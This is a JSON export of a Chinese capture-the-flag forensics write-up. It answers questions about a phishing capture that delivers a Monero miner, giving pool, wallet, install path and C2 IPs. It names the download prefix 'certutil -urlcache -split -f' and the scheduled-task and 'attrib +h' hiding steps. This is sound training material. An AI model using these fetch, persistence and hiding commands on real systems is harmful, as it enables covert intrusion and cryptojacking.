44.\u8be5\u6316\u77ff\u811a\u672c\u8fde\u63a5\u7684\u77ff\u6c60\u5730\u5740\u548c\u7aef\u53e3\u662f\u4ec0\u4e48\uff1f\uff08\u683c\u5f0f\uff1a\u5730\u5740:\u7aef\u53e3\uff09<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx.xxx.xxx:\u6570\u5b57}<\/code><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{xmr.cryptonight-hub.com:443}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
45.\u8be5\u6316\u77ff\u811a\u672c\u6316\u6398\u7684\u662f\u4ec0\u4e48\u52a0\u5bc6\u8d27\u5e01\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx}<\/code><\/p>\n\n\n\n
\u67e5\u627e coin \u5b57\u6bb5\uff0c\u503c\u4e3a monero<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{monero}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
46.\u6316\u77ff\u811a\u672c\u4f7f\u7528\u7684\u6316\u77ff\u7b97\u6cd5\u662f\u4ec0\u4e48\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx}<\/code><\/p>\n\n\n\n
\u914d\u7f6e\u91cc\u51fa\u73b0 randomx<\/code> \u76f8\u5173\u5b57\u6bb5\uff0c\u4e14 Monero \u9ed8\u8ba4\u7b97\u6cd5\u4e5f\u662f RandomX\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{RandomX}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
47.\u6316\u77ff\u7a0b\u5e8f\u4f7f\u7528\u7684\u94b1\u5305\u5730\u5740\u662f\u4ec0\u4e48\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx}<\/code><\/p>\n\n\n\n
\u770b user\u5b57\u6bb5\uff0c\u957f\u5b57\u7b26\u4e32\u5c31\u662f\u95e8\u7f57\u5e01\u94b1\u5305\u5730\u5740<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{49XnPvDkmNQSPBGKEgTRpnHfv7PZiEMVzDGmNcLHn5FyLYuFmJRLBAwMbBF1fQRHGpzCwp9hHt6NsfrSPeXQqzqZRa1p2aZ}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
48.\u6316\u77ff\u914d\u7f6e\u4e2d\u7684worker\u5bc6\u7801\uff08pass\u5b57\u6bb5\uff09\u662f\u4ec0\u4e48\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx}<\/code><\/p>\n\n\n\n
\u770bpass\u5c31\u884c\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{RTPlatformSvc}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
49.\u6316\u77ff\u811a\u672c\u5c06\u81ea\u8eab\u548c\u914d\u7f6e\u6587\u4ef6\u5b89\u88c5\u5230\u54ea\u4e2a\u76ee\u5f55\uff1f\uff08\u4f7f\u7528\u73af\u5883\u53d8\u91cf\u8868\u793a\uff09<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{%xxx%xxx}<\/code><\/p>\n\n\n\n
\u53d8\u91cf d \u88ab\u8bbe\u7f6e\u4e3a %APPDATA%MicrosoftWindowsRuntimePlatform<\/code>\uff0c\u8fd9\u662f\u77ff\u5de5\u843d\u5730\u5b89\u88c5\u76ee\u5f55<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{%APPDATA%MicrosoftWindowsRuntimePlatform}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
50.\u8be5\u8ba1\u5212\u4efb\u52a1\u8bbe\u7f6e\u7684\u6267\u884c\u9891\u7387\u662f\u4ec0\u4e48\uff1f\uff08\u6bcf\u9694\u591a\u5c11\u5c0f\u65f6\u6267\u884c\u4e00\u6b21\uff09<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{\u6570\u5b57}<\/code><\/p>\n\n\n\n
\u770b schtasks \/create<\/code> \u547d\u4ee4\uff0c\u547d\u4ee4\u53c2\u6570\u5305\u542b \/sc hourly \/mo 2<\/code>\uff0c\u8868\u793a\u6bcf 2 \u5c0f\u65f6\u6267\u884c\u4e00\u6b21<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{2}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
51.\u6316\u77ff\u811a\u672c\u4f7f\u7528\u4e86\u4ec0\u4e48\u6280\u672f\u6765\u9690\u85cf\u81ea\u8eab\u6587\u4ef6\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx}<\/code><\/p>\n\n\n\n
\u8fd8\u662f\u770b\u540c\u4e00\u4e2a\u5305\u53ef\u4ee5\u770b\u5230 \u770b\u5230\u591a\u5904\u4f7f\u7528 attrib +h<\/code> \u7ed9\u6587\u4ef6\u6216\u76ee\u5f55\u6dfb\u52a0\u9690\u85cf\u5c5e\u6027<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{attrib +h}<\/code><\/pre>\n\n\n\n
52.\u653b\u51fb\u8005\u901a\u8fc7 C2 \u4e0b\u8f7d\u6316\u77ff\u811a\u672c  \u65f6\uff0c\u4f7f\u7528\u7684 Windows \u5185\u7f6e\u4e0b\u8f7d\u547d\u4ee4\u53ca\u53c2\u6570\u524d\u7f00\u662f\u4ec0\u4e48\uff1f \u683c\u5f0f\uff1aflag{\u547d\u4ee4 \u53c2\u65701 \u53c2\u65702 \u53c2\u65703 \u53c2\u65704}<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx xxx xxx xxx}<\/code><\/p>\n\n\n\n
\u5728\u7b2c43\u9898\u6211\u4eec\u5c31\u5df2\u7ecf\u77e5\u9053\u7b54\u6848\u4e86<\/p>\n\n\n\n
63296 <\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{certutil -urlcache -split -f}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
53.\u5728\u6240\u6709\u90ae\u4ef6\u5f80\u6765\u4e2d\uff0c\u653b\u51fb\u8005\u7528\u4e8e\u6295\u9012\u6076\u610f\u7a0b\u5e8f\u7684IP\u5730\u5740\u4e0eC2\u63a7\u5236\u7aef\u7684IP\u5730\u5740\u662f\u5426\u662f\u540c\u4e00\u4e2a\uff1f\u5982\u679c\u662f\uff0c\u8be5IP\u662f\u591a\u5c11\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx.xxx.xxx.xxx}<\/code><\/p>\n\n\n\n
\u770b\u90ae\u4ef6\u6295\u9012<\/p>\n\n\n\n
smtp.req.command == \"MAIL\" && smtp.req.parameter contains \"tiantian\"<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6e90 IP \u662f 192.168.39.88<\/p>\n\n\n\n
tcp.port == 8443 && ip.addr == 192.168.39.88<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u770b C2 \u901a\u4fe1\uff0c\u7b2c 45220<\/code> \u5305\u663e\u793a\u53d7\u5bb3\u673a\u8fde\u63a5\u7684\u76ee\u7684 IP \u4e5f\u662f 192.168.39.88\uff0c\u56e0\u6b64\u6295\u9012\u6076\u610f\u7a0b\u5e8f\u548c C2 \u662f\u540c\u4e00 IP\u3002<\/p>\n\n\n\n
flag{192.168.39.88}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
54.\u4ece\u90ae\u4ef6\u6295\u9012\u5230C2\u4e0a\u7ebf\uff0c\u53d7\u5bb3\u4e3b\u673a\u53d1\u8d77C2\u8fde\u63a5\u7684\u6e90IP\u662f\u54ea\u4e2a\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx.xxx.xxx.xxx}<\/code><\/p>\n\n\n\n
\u8fd8\u662f\u770b8843<\/p>\n\n\n\n
tcp.port == 8443 && tcp.flags.syn == 1 && tcp.flags.ack == 0<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u770b\u6728\u9a6c\u4e0a\u7ebf\u7684\u7b2c\u4e00\u4e2a SYN \u5305\u300245220\u5305\u6e90 IP \u4e3a 192.168.39.152\uff0c\u76ee\u7684 IP \u4e3a\u653b\u51fb\u8005 192.168.39.88<\/p>\n\n\n\n
flag{192.168.39.152}<\/code><\/pre>\n\n\n\n
55.\u5728C2\u901a\u4fe1\u6d41\u91cf\u4e2d\uff0c\u4e00\u5171\u6355\u83b7\u5230\u4e86\u591a\u5c11\u4e2a\u5fc3\u8df3\u5305\uff08POST \/s\u8bf7\u6c42\uff09\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{\u6570\u5b57}<\/code><\/p>\n\n\n\n
http.request && http.request.uri == \"\/s\" && tcp.port == 8443<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7edf\u8ba1 HTTP \u8bf7\u6c42\u5305\uff0c\u4e0d\u7edf\u8ba1\u54cd\u5e94\u5305\uff0c\u8fc7\u6ee4\u7ed3\u679c\u4e00\u5171 689 \u4e2a\uff0c\u9996\u4e2a\u5fc3\u8df3\u662f\u7b2c 45771\u5305\uff0c\u6700\u540e\u4e00\u4e2a\u5fc3\u8df3\u662f\u7b2c 75214 \u5305<\/p>\n\n\n\n
flag{689}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
56.\u53d7\u5bb3\u8005\u4e3b\u673a\u540d\u4e3aWIN-5CNHCFAIMP9\uff0c\u8be5\u4e3b\u673a\u4f7f\u7528\u4e86\u591a\u5c11\u5757\u7f51\u5361\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{\u6570\u5b57}<\/code><\/p>\n\n\n\n
\u53ef\u4ee5\u770b <\/p>\n\n\n\n
nbns.name contains \"WIN-5CNHCFAIMP9\"<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u5148\u7528 NBNS \u8fc7\u6ee4\u53d7\u5bb3\u8005\u4e3b\u673a\u540d\u3002\u7b2c 1\u300117\u300134\u300153\u5305\u90fd\u51fa\u73b0 WIN-5CNHCFAIMP9<\/code>\uff0c\u5e76\u4e14\u5bf9\u5e94\u56db\u4e2a\u4e0d\u540c\u6e90 IP \u548c\u56db\u4e2a\u4e0d\u540c VMware MAC\uff0c\u8bf4\u660e\u8fd9\u53f0\u4e3b\u673a\u81f3\u5c11\u6709 4 \u4e2a\u7f51\u5361\u5730\u5740<\/p>\n\n\n\n
\u4e5f\u53ef\u4ee5\u76f4\u63a5\u770b\u653b\u51fb\u8005\u540e\u9762\u4e0b\u53d1\u7684 ipconfig \/all<\/code> \u547d\u4ee4<\/p>\n\n\n\n
\u4e0b\u53d1\u547d\u4ee4\u5305\uff1a70266\uff0c\u56de\u4f20\u7ed3\u679c\u5305\uff1a70280<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{4}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u87f9\u87f9\u89c2\u770b!<\/strong><\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u8272\u60c5\u9493\u9c7c\u90ae\u4ef6\u6d41\u91cf \u6750\u6599\u6e05\u5355\uff1a \u7f16\u53f7 \u6587\u4ef6\u540d \u8bf4\u660e A \u9648\u5c0f\u660e.pcapng \u53d7\u5bb3\u8005\u4e3b\u673a\u7f51\u7edc\u6d41\u91cf\u6355\u83b7 B \u653b\u51fb\u673a […]<\/p>\n","protected":false},"author":1,"featured_media":4101,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10,1],"tags":[],"class_list":["post-3941","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-10","category-learn"],"_links":{"self":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/3941","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3941"}],"version-history":[{"count":2,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/3941\/revisions"}],"predecessor-version":[{"id":4103,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/3941\/revisions\/4103"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/media\/4101"}],"wp:attachment":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3941"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3941"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3941"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}